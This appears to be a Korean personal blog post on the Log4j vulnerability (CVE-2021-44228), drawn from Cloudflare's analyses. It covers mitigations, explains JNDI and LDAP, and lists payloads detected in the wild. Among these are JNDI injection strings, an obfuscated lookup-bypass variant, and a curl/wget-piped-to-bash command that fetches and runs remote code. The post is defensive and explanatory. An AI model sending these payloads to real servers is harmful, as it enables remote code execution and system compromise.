log4j취약점(CVE-2021–44228) 완화방법
1. Log4j v2.16.0으로 업데이트
2. 업데이트가 불가하다면 log4j2.formatMsgNoLookups=true 혹은 LOG4J_FORMAT_MSG_NO_LOOKUPS=true 설정
3. 아니면 classpath에서 JndiLookup 클래스를 제거 zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class 명령어 사용
API: 일종의 소프트웨어나 플랫폼에서 제공하는 서비스/기능에 액세스하는 수단
SPI: 소프트웨어 또는 플랫폼의 동작을 주입, 확장 또는 변경하는 방법
JNDI(Java Naming and Directory Interface)
- 디렉토리 서비스로, 자바 프로그램이 디렉토리를 통해 데이터를 찾을 수 있도록 하는 역할
- 다양한 SPI(서비스 공급자 인터페이스)를 갖고 있음. 그중에 하나가 LDAP -> 이 취약점의 주요 포커스 그러나 다른 SPI도 사용될 수 있음
- 한 자바 프로그램이 JNDI와 LDAP을 함께 사용해 필요한 데이터를 포함하고 있는 JAVA 오브젝트를 찾을 수도 있음
- LDAP 서버에게 오브젝트에서 속성을 가져오게 지시할 수 있음
- ldap://localhost:389/o=JNDITutorial 이 커맨드는 같은머신(local host)의 포트389에서 실행중인 LDAP서버로부터 JNDITutorial 오브젝트를 찾고 여기에서 속성을 읽어들이라는 의미
위 시스템이 고객의 이름이 DB에 없어서 찾을 수 없으면 이를 기록하는 JAVA 기반 청구 시스템이라고 가정하자
악의적인 사용자가 익스플로잇을 포함하고 있는 이름으로 주문을 생성하면 이 익스플로잇이 여러 단계(그리고 많은 시간)을 거쳐 웹 서버에서 고객 데이터베이스를 통해 청구 시스템까지 도착해 최종적으로 실행될 수 있음
즉, 언제 어디서 어떻게 실행될지 예측이 상당히 힘들기 때문에 더 위험한 공격. 하지만 너무 많이 퍼져있는 공격이고 우선 방화벽에서는 앞으로 쉽게 탐지 될 확률이 높기 때문에 자신을 숨겨야 하는, 특히 특정 대상들을 공격하는 해킹 조직들은 굳이 흔적을 남기게 되는 이 공격을 쓰지는 않을 것 같음.
JNDI는 자바VM측의 소켓, LDAP은 시스템측의 소켓이라고 생각하면 편함.
JNDI의 문법을 따라서 명령을 보내면 LDAP에서 시스템 명령으로 변환해서 실행시킴.
로그 프로그램이라는게 로그를 남기기위해 모든 시스템에 접근이 가능하지만 텍스트 기능밖에 없는게 일반적이라 해킹 루트로는 딱히 쓰이거나 주목받지 못함.
그러나 log4j는 특이하게 평문 텍스트를 남기는게 아니라 쿼리처럼 명령문 처리 기능을 가지고 있음. 정말 심플하게 얘기하면 CMD가 하나 숨겨져 있었던 것
이런 취약점이 발견되었으므로, 또 다른 로깅 프로그램 혹은 사용하지 않았던 프로그램에 비슷한 취약점이 있지 않을지 취약점들을 테스트해 볼 확률이 높음
많이 탐지되는 요청들
- ${jndi:ldap://x.x.x.x/#Touch}
- Mozilla/5.0 ${jndi:ldap://x.x.x.x:5555/ExploitD}/ua
- ${jndi:http://x.x.x.x/callback/https-port-443-and-http-callback-scheme}
- Googlebot/2.1 (+http://www.google.com/bot.html)${jndi:ldap://x.x.x.x:80/Log4jRCE}
- ${jndi:ldap://enq0u7nftpr.m.example.com:80/cf-198–41–223–33.cloudflare.com.gu}
- ${jndi:ldap://www.blogs.example.com.gu.c1me2000ssggnaro4eyyb.example.com/www.blogs.example.com}
- ${jndi:dns://aeutbj.example.com/ext}
- ${jndi:ldap://x.x.x.x:12344/Basic/Command/Base64/KGN1cmwgLXMgeC54LngueDo1ODc0L3kueS55Lnk6NDQzfHx3Z2V0IC1xIC1PLSB4LngueC54OjU4NzQveS55LnkueTo0NDMpfGJhc2g=}
- (curl -s x.x.x.x:5874/y.y.y.y:443||wget -q -O- x.x.x.x:5874/y.y.y.y:443)|bash
- ${jndi:${lower:l}${lower:d}a${lower:p}://example.com/x
출처
https://blog.cloudflare.com/ko-kr/actual-cve-2021-44228-payloads-captured-in-the-wild-ko-kr/
https://blog.cloudflare.com/ko-kr/inside-the-log4j2-vulnerability-cve-2021-44228-ko-kr/
'방구석 컴퓨터 > 방구석 보안' 카테고리의 다른 글
JWT와 오프라인 인증 (0) | 2024.11.18 |
---|---|
세션 기반 인증과 JWT (2) | 2024.11.18 |